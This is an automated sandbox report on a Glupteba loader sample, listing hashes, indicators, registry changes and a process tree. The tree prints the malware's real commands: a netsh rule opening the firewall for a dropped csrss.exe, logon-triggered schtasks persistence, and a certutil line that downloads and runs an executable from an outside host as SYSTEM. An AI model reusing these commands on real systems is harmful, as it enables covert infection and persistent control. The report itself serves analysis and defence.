glupteba | 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00

General

Target

5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
Size

4.2MB
MD5

d7b5c0dfacada838878509c0e797e38c
SHA1

c03590cbfeba3f9820457e4ac083144896c7b4c6
SHA256

5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00
SHA512

0af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548

Score

10^/10

glupteba discovery dropper evasion loader persistence upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 10 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3664-134-0x0000000005540000-0x0000000005C36000-memory.dmp	family_glupteba
behavioral2/memory/3664-135-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba
behavioral2/memory/3664-136-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba
behavioral2/memory/3664-137-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba
behavioral2/memory/3664-139-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba
behavioral2/memory/1456-141-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba
behavioral2/memory/1456-144-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba
behavioral2/memory/1456-148-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba
behavioral2/memory/1440-151-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba
behavioral2/memory/1440-157-0x0000000000400000-0x0000000004B5B000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 2336 created 3664	2336	svchost.exe	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
PID 2336 created 1440	2336	svchost.exe	csrss.exe
PID 2336 created 1440	2336	svchost.exe	csrss.exe
PID 2336 created 1440	2336	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1440 csrss.exe
992 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

3548 netsh.exe

pid	process
1440	csrss.exe
992	patch.exe

pid	process
3548	netsh.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/3664-132-0x0000000000400000-0x0000000004B5B000-memory.dmp	upx
behavioral2/memory/1456-140-0x0000000000400000-0x0000000004B5B000-memory.dmp	upx
C:\Windows\rss\csrss.exe	upx
C:\Windows\rss\csrss.exe	upx
behavioral2/memory/1440-149-0x0000000000400000-0x0000000004B5B000-memory.dmp	upx
behavioral2/memory/1440-150-0x0000000000400000-0x0000000004B5B000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DarkDream = "\"C:\\Windows\\rss\\csrss.exe\""	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2632 bcdedit.exe

pid	process
2632	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe

description	ioc	process
File opened for modification	C:\Windows\rss	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
File created	C:\Windows\rss\csrss.exe	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4888 schtasks.exe
4908 schtasks.exe

pid	process
4888	schtasks.exe
4908	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.execsrss.exe

pid	process
3664	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
3664	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
1456	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
1456	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
1440	csrss.exe
1440	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	3664	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
Token: SeImpersonatePrivilege	3664	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
Token: SeTcbPrivilege	2336	svchost.exe
Token: SeTcbPrivilege	2336	svchost.exe
Token: SeBackupPrivilege	2336	svchost.exe
Token: SeRestorePrivilege	2336	svchost.exe
Token: SeBackupPrivilege	2336	svchost.exe
Token: SeRestorePrivilege	2336	svchost.exe
Token: SeBackupPrivilege	2336	svchost.exe
Token: SeRestorePrivilege	2336	svchost.exe
Token: SeBackupPrivilege	2336	svchost.exe
Token: SeRestorePrivilege	2336	svchost.exe
Token: SeSystemEnvironmentPrivilege	1440	csrss.exe
Token: SeBackupPrivilege	2336	svchost.exe
Token: SeRestorePrivilege	2336	svchost.exe
Token: SeBackupPrivilege	2336	svchost.exe
Token: SeRestorePrivilege	2336	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.execmd.execsrss.exe

description	pid	process	target process
PID 2336 wrote to memory of 1456	2336	svchost.exe	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
PID 2336 wrote to memory of 1456	2336	svchost.exe	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
PID 2336 wrote to memory of 1456	2336	svchost.exe	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
PID 1456 wrote to memory of 2624	1456	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe	cmd.exe
PID 1456 wrote to memory of 2624	1456	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe	cmd.exe
PID 2624 wrote to memory of 3548	2624	cmd.exe	netsh.exe
PID 2624 wrote to memory of 3548	2624	cmd.exe	netsh.exe
PID 1456 wrote to memory of 1440	1456	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe	csrss.exe
PID 1456 wrote to memory of 1440	1456	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe	csrss.exe
PID 1456 wrote to memory of 1440	1456	5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe	csrss.exe
PID 2336 wrote to memory of 4888	2336	svchost.exe	schtasks.exe
PID 2336 wrote to memory of 4888	2336	svchost.exe	schtasks.exe
PID 2336 wrote to memory of 4908	2336	svchost.exe	schtasks.exe
PID 2336 wrote to memory of 4908	2336	svchost.exe	schtasks.exe
PID 2336 wrote to memory of 992	2336	svchost.exe	patch.exe
PID 2336 wrote to memory of 992	2336	svchost.exe	patch.exe
PID 1440 wrote to memory of 2632	1440	csrss.exe	bcdedit.exe
PID 1440 wrote to memory of 2632	1440	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
"C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3664

C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
"C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2624

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:3548

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4888

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:4908

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:992

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2336

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
d7b5c0dfacada838878509c0e797e38c

SHA1
c03590cbfeba3f9820457e4ac083144896c7b4c6

SHA256
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00

SHA512
0af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
d7b5c0dfacada838878509c0e797e38c

SHA1
c03590cbfeba3f9820457e4ac083144896c7b4c6

SHA256
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00

SHA512
0af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548

Download Submit
memory/992-154-0x0000000000000000-mapping.dmp

Download
memory/1440-145-0x0000000000000000-mapping.dmp

Download
memory/1440-157-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/1440-151-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/1440-150-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/1440-149-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/1456-138-0x0000000000000000-mapping.dmp

Download
memory/1456-144-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/1456-141-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/1456-140-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/1456-148-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/2624-142-0x0000000000000000-mapping.dmp

Download
memory/2632-156-0x0000000000000000-mapping.dmp

Download
memory/3548-143-0x0000000000000000-mapping.dmp

Download
memory/3664-137-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/3664-132-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/3664-136-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/3664-135-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/3664-134-0x0000000005540000-0x0000000005C36000-memory.dmp

Filesize
7.0MB

Download
memory/3664-139-0x0000000000400000-0x0000000004B5B000-memory.dmp

Filesize
71.4MB

Download
memory/3664-133-0x0000000005190000-0x0000000005537000-memory.dmp

Filesize
3.7MB

Download
memory/4888-152-0x0000000000000000-mapping.dmp

Download
memory/4908-153-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads